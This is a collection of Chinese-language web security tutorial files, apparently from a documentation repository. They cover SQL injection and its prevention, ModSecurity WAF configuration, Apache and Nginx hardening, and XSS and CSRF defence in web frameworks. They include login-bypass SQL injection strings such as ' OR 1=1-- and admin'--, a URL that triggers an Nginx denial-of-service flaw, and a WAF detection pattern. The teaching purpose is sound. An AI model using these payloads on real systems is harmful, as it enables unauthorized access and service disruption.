/docs/content/SQL_injection/Overview.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 8 | SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 9 | 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:不当的类型处理、不安全的数据库配置、不合理的查询集处理、不当的错误处理、转义字符处理不合适、多个提交处理不当。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 10 | -------------------------------------------------------------------------------- /docs/content/SQL_injection/SQL_injection defence.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ##SQL注入的预防 8 | 1、单引号配对转义 9 | 如果用户提交的数字数据内置在SQL查询中,这种数据通常并不包含在单引号中。因此,攻击者能够破坏数据使用环境并开始输入任意SQL查询,这时就不必输入单引号。在二阶SQL注入攻击中,最初在插入数据库中时已经安全转义的数据随后被从数据库中读取出来,然后再次写入。当重新使用数据时最初配对的引号又恢复到单引号形式。 10 | 如果在使用Oracle的实例中所见,编写存在缺陷的存储过程可能在自身代码中包含的SQL注入漏洞,在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防止漏洞产生。 11 | 12 | 2、参数化查询(预处理语句) 13 | 大多数数据库和应用开发平台都提供API,对不可信的输入进行安全处理,以防止SQL注入漏洞。 14 | (1)应用程序指定查询结构,为用户输入的每个数据预留占位符。 15 | (2)应用程序指定每个占位符的内容。 16 | 不安全查询和相应的参数化查询的对比: 17 | String queryText = "select ename,sal from emp where ename = '" 18 | queryText += request.getParameter("name"); 19 | queryText +="'"; 20 | stmt = con.createStatement(); 21 | rs = stmt.executeQuery(querytext); 22 | 23 | 上述代码中,用户提交的name参数被直接嵌入到一个SQL语句中,致使应用程序易受SQL注入。 24 | String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?" 25 | stmt = con.prepareStatement(queryText); 26 | stmt.setString(1,request.getParameter("name")); 27 | rs = stmt.executeQuery(); 28 | 29 | 上述代码使用一个问号作为用户提交参数的占位符,以确定查询的结构。随后,代码调用prepareStatement方法解释了这个参数,并确定将要执行的查询结构。之后,它使用setString方法指定参数的实际值。由于查询的结构已经固定,这个值可为任何数据类型,而不会影响查询的结构。 30 | 31 | 3、深层防御 32 | (1)当访问数据库时,应用程序应尽可能使用最低权限的账户。 33 | (2)许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。 34 | (3)应评估、测试并及时安装供应商发布的所有安全补丁,以修复数据库软件本身已知的漏洞。 35 | -------------------------------------------------------------------------------- /docs/content/SQL_injection/SQL_injection.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ## 数据库分析 8 | 9 | 通常Web应用程序使用的数据库保存一下信息: 10 | 11 | * 用户账户、证书和个人信息; 12 | * 所销售商品的介绍与价格; 13 | * 订单、账单和支付细节; 14 | * 每名应用程序用户的权限。 15 | 16 | 数据库中的信息通过SQL访问。SQL可用于读取、更新、增加或删除数据库中保存的信息。如果建立语句的方法不安全,那么应用程序可能易于受到SQL注入攻击。 17 | 18 | ##基本漏洞 19 | 20 | 以书籍零售商使用的Web应用程序为例,该应用程序允许用户根据作者、书名、出版商等信息搜索产品。 21 | 当一个用户搜索Wiley出版的所有书籍时,应用程序执行以下查询: 22 | 23 | SELECT author ,title, year FROM books WHERE publisher = ‘ Wiley’ and published = 1 24 | 25 | 分析:在这个查询中,等号左边的词由SQL关键字,表和数据库列名称构成。这个部分的全部内容由程序员在创建应用程序时建立。当然表达式Wiley由用户提交,它是一个数据项。SQL查询中的字符串数据必须包含在单引号内,与查询的其他内容分隔开来。 26 | 27 | 漏洞一: 28 | 29 | SELECT author ,title, year FROM books WHERE publisher = ‘O’Reilly’ and published = 1 30 | 31 | 在这个实例中,查询解释器以和前面一个示例相同的方式到达字符串数据位置。它解析这个包含在单引号中的数据,得到O。然后遇到Reilly’,这并不是有效的SQL语法,因此应用程序报错。 32 | 33 | 漏洞二:攻击者通过对查询进行修改,通过以下搜索项,返回零售商目录中的每一本书籍。 34 | 35 | Wiley ‘ OR 1=1-- 36 | 37 | 此时,应用程序将执行以下的查询: 38 | 39 | SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ OR 1=1-- ‘ and published=1 40 | 41 | 这个查询对开发者查询中的WHERE子句进行修改,增加另外一个条件。数据库将检查书籍表中的每一行,提取published列值为Wiley或其中1=1的每条记录。因为1=1永真,所以数据库将返回书籍表中的所有记录。 42 | 如下图: 43 | 44 | ![register](img/register.png) 45 | 用户注册,用户名为abcd,用户密码为abcd; 46 | 47 | ![login1](img/login1.png) 48 | 输入用户名,密码之后,点击“register”,界面跳转到上界面; 49 | 50 | ![injection](img/injection.png) 51 | 用“w’ or 1=1#”实现SQL注入,由于mysql中的注释符为“#”; 52 | 53 | ![login2](img/login2.png) 54 | 点击“login”之后获取之前用户注册跳转的界面。 55 | 56 | ##不同语句类型的注入 57 | --- 58 | 59 | ###SELCET语句 60 | 作用:从数据库中获取信息。 61 | 使用方法:查询WHERE子句,由于WHERE子句一般在SELECT语句的最后,攻击者可以使用注释符号将查询截短到其输入的结束位置,而不使整个语法失效。 62 | 63 | ###INSERT语句 64 | 作用:在表中建立一个新的数据行。 65 | 使用方法:攻击者完全盲目地注入一个INSERT语句也能够从应用程序中提取出字符串数据。比如攻击者介意拦截数据库版本的字符串,并把它插入自己用户资料的一个字段中。 66 | 67 | ###UPDATE语句 68 | 作用:修改表中的一行或几行数据。 69 | 使用方法:先核实用户的现有密码是否正确,如果密码无误,就用新的值更新它。若这项功能存在SQL注入漏洞,那么攻击者就能避开现有的密码检查,通过输入“admin’--”这样的用户更新管理员密码。 70 | 71 | ###DELETE语句 72 | 作用:删除表中的一行或几行数据。 73 | 使用方法:通常使用WHERE子句告诉数据库更新表中哪些行的数据,并可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能造成严重的后果。 74 | 75 | 76 | ##SQL注入漏洞类型 77 | 78 | --- 79 | 80 | ###注入字符串数据 81 | 若SQL查询合并用户提交的数据,它会将这些数据包含在单引号中。为利用任何SQL注入漏洞,则需摆脱这些引号的束缚。 82 | 83 | ###注入数字数据 84 | 如果SQL查询合并用户提交的数字数据,应用程序仍然会将它包含在单引号之中,作为字符串进行处理。 因此,一定要执行前面描述的针对字符串数据的渗透测试步骤。但是,许多时候,应用程序会将数字数据以数字格式直接传送到数据库中,并不把它放入单引号中。 85 | -------------------------------------------------------------------------------- /docs/content/SQL_injection/SQL_injection.md~: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ## 数据库分析 8 | 9 | 通常Web应用程序使用的数据库保存一下信息: 10 | 用户账户、证书和个人信息; 11 | 所销售商品的介绍与价格; 12 | 订单、账单和支付细节; 13 | 每名应用程序用户的权限。 14 | 数据库中的信息通过SQL访问。SQL可用于读取、更新、增加或删除数据库中保存的信息。如果建立语句的方法不安全,那么应用程序可能易于受到SQL注入攻击。 15 | 16 | ##基本漏洞 17 | 18 | 以书籍零售商使用的Web应用程序为例,该应用程序允许用户根据作者、书名、出版商等信息搜索产品。 19 | 当一个用户搜索Wiley出版的所有书籍时,应用程序执行以下查询: 20 | SELECT author ,title, year FROM books WHERE publisher = ‘ Wiley’ and published = 1 21 | 分析:在这个查询中,等号左边的词由SQL关键字,表和数据库列名称构成。这个部分的全部内容由程序员在创建应用程序时建立。当然表达式Wiley由用户提交,它是一个数据项。SQL查询中的字符串数据必须包含在单引号内,与查询的其他内容分隔开来。 22 | 漏洞一:SELECT author ,title, year FROM books WHERE publisher = ‘O’Reilly’ and published = 1 23 | 在这个实例中,查询解释器以和前面一个示例相同的方式到达字符串数据位置。它解析这个包含在单引号中的数据,得到O。然后遇到Reilly’,这并不是有效的SQL语法,因此应用程序报错。 24 | 漏洞二:攻击者通过对查询进行修改,通过以下搜索项,返回零售商目录中的每一本书籍。 25 | Wiley ‘ OR 1=1-- 26 | 此时,应用程序将执行以下的查询: 27 | SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ OR 1=1-- ‘ and published=1 28 | 这个查询对开发者查询中的WHERE子句进行修改,增加另外一个条件。数据库将检查书籍表中的每一行,提取published列值为Wiley或其中1=1的每条记录。因为1=1永真,所以数据库将返回书籍表中的所有记录。 29 | 如下图: 30 | 31 | ![register](img/register.png) 32 | 用户注册,用户名为abcd,用户密码为abcd; 33 | 34 | ![login1](img/login1.png) 35 | 输入用户名,密码之后,点击“register”,界面跳转到上界面; 36 | 37 | ![injection](img/injection.png) 38 | 用“w’ or 1=1#”实现SQL注入,由于mysql中的注释符为“#”; 39 | 40 | ![login2](img/login2.png) 41 | 点击“login”之后获取之前用户注册跳转的界面。 42 | 43 | ##不同语句类型的注入 44 | 45 | 1、SELCET语句 46 | 作用:从数据库中获取信息。 47 | 使用方法:查询WHERE子句,由于WHERE子句一般在SELECT语句的最后,攻击者可以使用注释符号将查询截短到其输入的结束位置,而不使整个语法失效。 48 | 49 | 2、INSERT语句 50 | 作用:在表中建立一个新的数据行。 51 | 使用方法:攻击者完全盲目地注入一个INSERT语句也能够从应用程序中提取出字符串数据。比如攻击者介意拦截数据库版本的字符串,并把它插入自己用户资料的一个字段中。 52 | 53 | 3、UPDATE语句 54 | 作用:修改表中的一行或几行数据。 55 | 使用方法:先核实用户的现有密码是否正确,如果密码无误,就用新的值更新它。若这项功能存在SQL注入漏洞,那么攻击者就能避开现有的密码检查,通过输入“admin’--”这样的用户更新管理员密码。 56 | 57 | 4、DELETE语句 58 | 作用:删除表中的一行或几行数据。 59 | 使用方法:通常使用WHERE子句告诉数据库更新表中哪些行的数据,并可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能造成严重的后果。 60 | 61 | 62 | ##SQL注入漏洞类型 63 | 64 | 1、注入字符串数据 65 | 若SQL查询合并用户提交的数据,它会将这些数据包含在单引号中。为利用任何SQL注入漏洞,则需摆脱这些引号的束缚。 66 | 67 | 2、注入数字数据 68 | 如果SQL查询合并用户提交的数字数据,应用程序仍然会将它包含在单引号之中,作为字符串进行处理。 因此,一定要执行前面描述的针对字符串数据的渗透测试步骤。但是,许多时候,应用程序会将数字数据以数字格式直接传送到数据库中,并不把它放入单引号中。 69 | -------------------------------------------------------------------------------- /docs/content/SQL_injection/SQL_injection_defence.md: -------------------------------------------------------------------------------- 1 | # SQL Injection 2 | 3 | Structured Query Language Injection 4 | 5 | --- 6 | 7 | ##SQL注入的预防 8 | 9 | --- 10 | 11 | ##单引号配对转义 12 | 如果用户提交的数字数据内置在SQL查询中,这种数据通常并不包含在单引号中。因此,攻击者能够破坏数据使用环境并开始输入任意SQL查询,这时就不必输入单引号。在二阶SQL注入攻击中,最初在插入数据库中时已经安全转义的数据随后被从数据库中读取出来,然后再次写入。当重新使用数据时最初配对的引号又恢复到单引号形式。 13 | 如果在使用Oracle的实例中所见,编写存在缺陷的存储过程可能在自身代码中包含的SQL注入漏洞,在存储过程中构建SQL语句时也可能出现类似的安全问题,使用存储过程也无法防止漏洞产生。 14 | 15 | ##参数化查询(预处理语句) 16 | 大多数数据库和应用开发平台都提供API,对不可信的输入进行安全处理,以防止SQL注入漏洞。 17 | 18 | * 应用程序指定查询结构,为用户输入的每个数据预留占位符。 19 | * 应用程序指定每个占位符的内容。 20 | 21 | 不安全查询和相应的参数化查询的对比: 22 | 23 | String queryText = "select ename,sal from emp where ename = '" 24 | queryText += request.getParameter("name"); 25 | queryText +="'"; 26 | stmt = con.createStatement(); 27 | rs = stmt.executeQuery(querytext); 28 | 29 | 上述代码中,用户提交的name参数被直接嵌入到一个SQL语句中,致使应用程序易受SQL注入。 30 | 31 | String queryText = "SELECT ename,sal FROM EMP WHERE ename = ?" 32 | stmt = con.prepareStatement(queryText); 33 | stmt.setString(1,request.getParameter("name")); 34 | rs = stmt.executeQuery(); 35 | 36 | 上述代码使用一个问号作为用户提交参数的占位符,以确定查询的结构。随后,代码调用prepareStatement方法解释了这个参数,并确定将要执行的查询结构。之后,它使用setString方法指定参数的实际值。由于查询的结构已经固定,这个值可为任何数据类型,而不会影响查询的结构。 37 | 38 | ##深层防御 39 | 当访问数据库时,应用程序应尽可能使用最低权限的账户。许多企业数据库包含大量默认功能,可被能够执行任意SQL语句的攻击者利用。应评估、测试并及时安装供应商发布的所有安全补丁,以修复数据库软件本身已知的漏洞。 40 | -------------------------------------------------------------------------------- /docs/content/Web_Server_Sercurity/Apache2-WAF.md: -------------------------------------------------------------------------------- 1 | # Apache2 ModSecurity 2 | Web服务器安全 3 | 4 | --- 5 | 6 | 7 | ## Overview 8 | 9 | ModSecurity supplies an array of request filtering and other security features to the Apache HTTP Server, IIS and NGINX. ModSecurity is a web application layer firewall. ModSecurity is free software released under the Apache license 2.0. 10 | 11 | ![ModSecurity](img/modsecurity.png) 12 | 13 | ##服务器环境 14 | 15 | 接下来简单介绍如何配置Apache2的ModSecurity模块,以在服务器层进行必要的安全防护措施。首先是我们部署的安装环境: 16 | 17 | OS:Ubuntu 14.04.1 LTS 18 | Apache: Apache/2.4.7 (Ubuntu) 19 | 20 | ##安装ModSecurity及其依赖 21 | 22 | # apt-get install libxml2 libxml2-dev libxml2-utils libaprutil1 libaprutil1-dev libapache2-modsecurity 23 | 可以查看一下版本号,确认是 2.7版本: 24 | 25 | # dpkg -s libapache2-modsecurity | grep Version 26 | 27 | ##配置ModSecurity 28 | 29 | # cd /etc/modsecurity/ 30 | # cp modsecurity.conf-recommended modsecurity.conf 31 | # vim modsecurity.conf 32 | 在第七行修改为: 33 | 34 | SecRuleEngine On 35 | 36 | ##启用核心规则集 37 | 38 | 把需要使用的规则集放在以下目录中: 39 | 40 | # cd /usr/share/modsecurity-crs/activated_rules/ 41 | 启用base规则集: 42 | 43 | # for f in $(ls ../base_rules/); do ln -s ../base_rules/$f; done 44 | 你也可以启用其它规则集,但是要注意对于不同的规则集可能需要启动特定的模块。 45 | 46 | 然后修改Apache2的模块配置,启用规则集: 47 | 48 | # vim /etc/apache2/mods-available/security2.conf 49 | 修改为: 50 | 51 | 52 | # Default Debian dir for modsecurity's persistent data 53 | SecDataDir /var/cache/modsecurity 54 | # Include all the *.conf files in /etc/modsecurity. 55 | # Keeping your local configuration in that directory 56 | # will allow for an easy upgrade of THIS file and 57 | # make your life easier 58 | IncludeOptional /etc/modsecurity/*.conf 59 | IncludeOptional /usr/share/modsecurity-crs/*.conf 60 | IncludeOptional /usr/share/modsecurity-crs/activated_rules/*.conf 61 | 62 | 63 | ##启用ModSecurity模块 64 | 65 | # a2enmod headers 66 | # a2enmod security2 67 | # service apache2 restart 68 | 69 | ##配置效果 70 | 71 | 在登录页面输入 SQL 注入语句: 72 | 73 | abcd ' or 1=1 # 74 | ![Login](img/waf-1.png) 75 | 76 | 点击登录可以发现,Apache服务器直接提示403 Forbiddden 错误: 77 | 78 | ![Login](img/waf-2.png) 79 | 80 | 查看日志可以知道具体的拦截情况: 81 | 82 | # cat /var/log/apache2/modsec_audit.log 83 | 84 | Message: Access denied with code 403 (phase 2). Pattern match "(?i:([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)\\b([\\d\\w]++)([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)(?:(?:=|<=>|r?like|sounds\\s+like|regexp)([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)\\2\\b|(?:!=|<=|>=|<>|<|>|\\^|is\\s+not ..." at ARGS:login_username. [file "/usr/share/modsecurity-crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:login_username: abcd ' or 1=1 #"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.8"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] 85 | Action: Intercepted (phase 2) 86 | Apache-Handler: application/x-httpd-php 87 | Stopwatch: 1432371734022213 3540 (- - -) 88 | Stopwatch2: 1432371734022213 3540; combined=2202, p1=1194, p2=927, p3=0, p4=0, p5=80, sr=100, sw=1, l=0, gc=0 89 | Response-Body-Transformed: Dechunked 90 | Producer: ModSecurity for Apache/2.7.7 (http://www.modsecurity.org/); OWASP_CRS/2.2.8. 91 | Server: Apache/2.4.7 (Ubuntu) 92 | Engine-Mode: "ENABLED" -------------------------------------------------------------------------------- /docs/content/Web_Server_Sercurity/Web-Server-Sercurity.md: -------------------------------------------------------------------------------- 1 | # Web Server Sercurity 2 | Web服务器安全 3 | 4 | --- 5 | 6 | ## Overview 7 | 8 | Web服务器是 Web应用的载体,如果这个载体出现安全问题,那么运行在其中的Web应用程序的安全也无法得到保障。因此Web服务器的安全不容忽视。。 9 | 10 | ##Apache 安全 11 | 尽管近年来 Nginx、LightHttpd等Web Server 的市场份额增长得很快,但Apache仍然是这个领域中独一无二的巨头,互联网上大多数的Web应用依然跑在 Apache Httpd 上。我们先从最具有代表性的 Apache开始谈起,其他的Web Server所面临的安全问题也可依此类推。 12 | 13 | Web Server的安全我们关注两点:一是 Web Server本身是否安全;而是Web Server是否提供了可使用的安全功能。纵观 Apache 的漏洞史,它曾经出现过许多次高危漏洞。但这些高危漏洞,大部分是由Apache的Module造成的,Apache核心的高危漏洞几乎没有。Apache有很多官方与非官方的 Module,默认启动的Module出现过的高危漏洞非常少,大多数的高危漏洞集中在默认没有安装或enable的Module上。 14 | 因此,检查Apache安全的第一件事情,**就是检查Apache的Module安装情况,根据“最小权限原则”,应该尽可能地减少不必要的 Module,对于要使用的 Module,则检查其对应版本是否存在已知的安全漏洞。** 15 | 16 | 定制好了Apache的安装包后,接下来需要做的,就是指定 Apache 进程以单独的用户身份运行,这通常需要为Apache单独建立一个 user/group。 17 | 18 | 需要注意的是,**Apache以root身份或者admin身份运行是一个非常糟糕的决定。**这里的admin 身份是指服务器管理员在管理机器时使用的身份。这个身份的权限也是比较高的,因为管理员有操作管理脚本,访问配置文件、读/写日志等需求。 19 | 20 | 使用高权限身份运行 Apache的结果可能是灾难性的,它会带来两个可怕的后果: 21 | 22 | * 当黑客入侵Web成功时,将直接获得一个高权限(比如root或admin)的shell; 23 | * 应用程序本身将具备较高权限,当出现bug时,可能会带来较高风险,比如删除本地重要文件、杀死进程等不可预知的结果。 24 | 25 | 比较好的做法是使用专门的用户身份运行Apache,这个用户身份不应该具备shell,它唯一的作用就是来运行Web应用。 26 | 27 | 以身份身份启动进程,在使用其他Web容器时也需要注意这个问题。很多JSP网站的管理员喜欢将Tomcat配置为 root身份运行,导致的后果就是黑客们通过漏洞得到了webshell后,发现这个webshell已经具备root权限了。 28 | 29 | 不过很多Linux发行版已经在安装Apache的同时新建了一个apache的用户,只用来运行apache,不需用户再操作了。 30 | 31 | Apache还提供了一些配置参数,可以用来优化服务器的性能,提高对抗DDOS攻击的能力。例如: 32 | 33 | TimeOut 34 | KeepAlive 35 | LimitRequestBody 36 | LimitRequestFields 37 | LimitRequestFieldSize 38 | LimitRequestLine 39 | LimitXMLRequestBody 40 | AcceptFilter 41 | MaxRequestWorkers 42 | 43 | 在Apache的[官方文档](http://httpd.apache.org/docs/trunk/misc/security_tips.html)中,对如何使用这些参数给出了指导。这些参数能够起到一定的作用,但单台机器的性能毕竟有限,所以对抗DDOS不可依赖于这些参数,但聊胜于无。 44 | 45 | 最后,要保护好 Apache Log。一般来说,攻击者入侵成功后,要做的第一件事就是清除入侵痕迹,修改、删除日志文件,因此access_log应当妥善保管,比如实时地发送到远程的syslog服务器上。 46 | 47 | ##Nginx 安全 48 | 49 | 近年来Nginx发展很快,它的高性能和高并发的处理能力使得用户在Web Server的选择上有了更多的空间,其实Nginx更适合做代理服务器。但从安全的角度来看,Nginx近年来出现的影响默认安装版本的高危漏洞却比Apache要多。在Nginx的官方网站有这些安全问题的[列表](http://nginx.org/en/security_advisories.html)。 50 | 51 | 例如CVE-2010-2266就是一个Nginx的拒绝服务漏洞,触发条件非常简单: 52 | 53 | http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 54 | 55 | http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20 56 | 57 | http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20 58 | 59 | 因此多关注Nginx的漏洞信息,并及时将软件升级到安全的版本,是非常有必要的一件事情。从历史的经验来看,如果一个软件出现的漏洞较多,那么说明代码维护者的安全意识与安全经验有所欠缺,同时由于破窗效应,这个软件未来往往会出现更多的漏洞。 60 | 61 | 就软件安全本身来看,Nginx与Apache最大的区别在于,检查Apache安全时更多的要关注Module的安全,而Nginx则需要注意软件本身的安全,及时升级软件版本。 62 | 63 | 与Apache一样,Nginx也应该以单独的身份运行,这是所有 Web Server、容器软件应该共同遵守的原则。 -------------------------------------------------------------------------------- /docs/content/Web_framework/Overview.md: -------------------------------------------------------------------------------- 1 | # Web框架安全概述 2 | Model-View-Controller 3 | 4 | --- 5 | ## **前言** # 6 | 对于许多浏览器、服务前端的安全问题,想要解决它们,需要深入理解这些漏洞的原理。真正理解了XSS、SQL注入等漏洞的产生原理之后,想彻底解决这些顽疾并不困难。但是想要设计出完美的方案,还需要解决第二件事情,就是找到一个方法,能够让我们快速有效、不会遗漏地发现所有问题。而Web开发框架为我们解决这个问题提供了便利。 7 | 8 | ---- 9 | ## **MVC框架安全** ## 10 | [MVC](http://baike.baidu.com/link?url=C-CmCKVj-OLdJQot_vOowjJRmQb_JG397jmXE7G6HrjaiMAUmEh_86izGeszLmszfkfYvSK8aQPzhH-z_CL0Na)是Model(模型)-View(视图)-Controller(控制器)的缩写,它将Web应用分为三层,View层负责用户视图、页面展示等工作;Controller负责应用的逻辑实现,接受View层传入的用户请求,并转发给对应的Model做处理;Model层则负责实现模型,完成数据的处理。 11 | 12 | ![MVC框架示意图](img/MVC.png) 13 | 14 | 用户提交的数据先后流经了View层、Controller层、Model层,数据的流出则相反。在MVC框架中,通过切片、过滤器等方式,往往能对数据进行全局处理,从而为设计安全方案提供了极大的便利。 15 | 16 | 一般来说,我们需要先想清楚要解决什么问题,深入理解这些问题后,再在“正确”的地方对数据进行安全检查。一些主要的Web安全威胁,如XSS、CSRF、SQL注入、访问控制、认证、URL跳转等不涉及业务逻辑的安全问题,都可以集中放在MVC框架中解决。 17 | 18 | --- 19 | ## **优势** # 20 | 在框架中实施安全方案,比由程序员在业务中修复一个个具体的bug有着更多的优势。 21 | 22 | 首先,有些安全问题可以在框架中统一解决,能够大大节省程序员的工作量,节约人力成本。当代码的规模达到一定程度时,在业务的压力下,专门花时间一个个修补漏洞几乎成为不可能完成的任务。 23 | 24 | 其次,对于一些常见的漏洞来说,由程序员一个个修补可能会出现遗漏,而在框架中统一解决,有可能解决遗漏的问题。这需要制定相关的代码规范和工具配合。 25 | 26 | 最后,在每个业务里修补安全漏洞,补丁的标准难以统一,而在框架中集中实施的安全方案,可以是所有基于框架开发的业务都能受益,从安全方案的有效性来说,更容易把握。 27 | 28 | --- 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /docs/content/Web_framework/XSS.md: -------------------------------------------------------------------------------- 1 | # XSS防御 2 | 模板引擎与XSS防御 3 | 4 | --- 5 | ## **防御方法** # 6 | 在View层,可以解决XSS问题。XSS攻击实在用户的浏览器上执行的。其形成过程则是在服务器端页面渲染时,注入了恶意 的HTML代码导致的。从MVC架构来说,是发生在View层,因此可以使用“**输出编码**”的方式来防御,即针对不同上下文的XSS攻击场景,使用不同的编码方式。 7 | 8 | “输出编码”的防御方法可以总结为以下几种: 9 | 10 | * 在HTML标签中输出变量 11 | * 在HEML属性中输出变量 12 | * 在script标签中输出变量 13 | * 在事件中输出变量 14 | * 在CSS中输出变量 15 | * 在URL中输出变量 16 | 17 | 针对不同的情况,使用不同的编码函数。 18 | 19 | --- 20 | ## **Django 与 XSS 防御** # 21 | 在当前流行的MVC框架中, View层常用的技术是使用模板引擎对页面进行渲染,比如在Django中就是用了 Django Templates 作为模板引擎。模板引擎本身会提供一些编码方法。比如在 Django Templates 中,使用 filters 中的 escape 作为 HtmlEncode 的方法: 22 | 23 |

hello, {{ name|escape }}!

24 | 25 | Django Templates 同时支持 auto-escape,符合 Secure by Default 原则。现在的 Django Templates 默认是将 aotu-escape 开启的,所有的变量都会经过 HTMLEncode后输出。默认是编码了5个字符: 26 | 27 | < is converted to < 28 | > is converted to > 29 | ' (single queto) is converted to ' 30 | " (double quote) is converted to " 31 | & is converted to & 32 | 33 | 如果要关闭 auto-escape,则需要使用以下方法: 34 | 35 | {{ data|safe }} 36 | 37 | 或者 38 | 39 | {% autoescape off %} 40 | Hello {{ name }} 41 | {% endautoescape %} 42 | 43 | 为了方便,很多程序员可能会选择关闭 auto-escape。要检查 auto-escape 是否被关闭也很简单,搜索代码里是否出现上面两种情况即可。 44 | 45 | 但是如前文所述,最好的XSS防御方案,在不同的场景需要使用不同的编码函数。如果统一使用者5个字符的HTMLEncode, 则很可能会被攻击者绕过。由此看来,这种 auto-escape 的方案也不是很完善。 46 | 47 | --- 48 | ## **Velocity 与 XSS 防御** # 49 | 在模板引擎Velocity中,也提供了类似的机制,但有所不同的是,Velocity 默认是没有开启 HtmlEncode 的。 50 | 51 | 在 Velocity 中,可以通过 Event Handler 来进行 HTMLEncode。 52 | 53 | eventhandler.referenceinsertion.class = org.apache.velocity.app.event.implement. 54 | EscapeHtmlReference 55 | eventhandler.escape.html.match = /msg.*/ 56 | 57 | 使用方法如下,这里同时还加入了一个转义SQL语句的 Event Handler。 58 | 59 | ... 60 | 61 | import org.apache.velocity.app.event.EventCartridge; 62 | import org.apache.velocity.app.event.ReferenceInsertionEventHandler; 63 | import org.apache.velocity.app.event.implement.EscapeHtmlReference; 64 | import org.apache.velocity.app.event.implement.EscapeSqlReference; 65 | 66 | ... 67 | 68 | public class Test 69 | { 70 | public void myTest() 71 | { 72 | ... 73 | 74 | /** 75 | * Make a cartridge to hold the event handlers 76 | */ 77 | EventCartridge ec = new EventCartridge(); 78 | 79 | /** 80 | * then register and chain two escape-related handlers 81 | */ 82 | ec.addEventHandler(new EscapeHtmlReference()); 83 | ec.addEventHandler(new EscapeSqlReference()); 84 | 85 | /** 86 | * and then finally let it attach itself to the context 87 | */ 88 | ec.attachToContext(context); 89 | 90 | /** 91 | * now merge your template with the context as you mormally do 92 | */ 93 | 94 | ... 95 | } 96 | 97 | } 98 | 99 | 100 | 但 Velocity 提供的处理机制,与 Django 的 auto-escape 所提供的机制是类似的,都只进行了 HTMLEncode,而未细分编码使用的具体场景。不过在模板引擎中,可以实现自定义的编码函数,应用于不同场景。在 Django 中是使用自定义 filters,在 Velocity 中则可以使用“宏”(velocimacro),比如: 101 | 102 | XML编码输出,将会执行 XML Encode 输出 103 | #SXML($xml) 104 | 105 | JS编码输出,将会执行JavaScript Encode输出 106 | #SJS($js) 107 | 108 | 通过自定义的方法,使得XSS防御的功能得到完善;同时在模板系统中,搜索不安全的变量也有了依据,甚至在代码检测工具中,可以自动判断出需要使用那一种安全的编码方式。 109 | 110 | --- 111 | ## **总结** # 112 | 在模板引擎中,可以实现自定义的编码函数,来应用于不同的场景。我们可以依据是否有细分场景使用不同的编码方式来判断XSS的安全方案是否完善。在很多 Web 框架官方文档中推荐的用法,就是存在缺陷的。Web 框架的开发者在设计安全方案时,有时会缺乏来自安全专家的建议。所以开发者在使用框架时,应该慎重对待安全问题。 113 | -------------------------------------------------------------------------------- /docs/content/Web_framework/csrf.md: -------------------------------------------------------------------------------- 1 | # CSRF防御 # 2 | Web框架与CSRF防御 3 | --- 4 | 5 | 在Web框架中可以使用security token解决CSRF攻击的问题。 6 | 7 | CSRF攻击的目标,一般都会产生“写数据”操作的URL,比如“增”、“删”、“改”;而“读数据”操作并不是CSRF攻击的目标,因为在CSRF的攻击过程中攻击者无法获取到服务器端返回到数据,攻击值只是借用户之手触发服务器动作,所以读数据对于CSRF来说并无直接的意义。 8 | 9 | 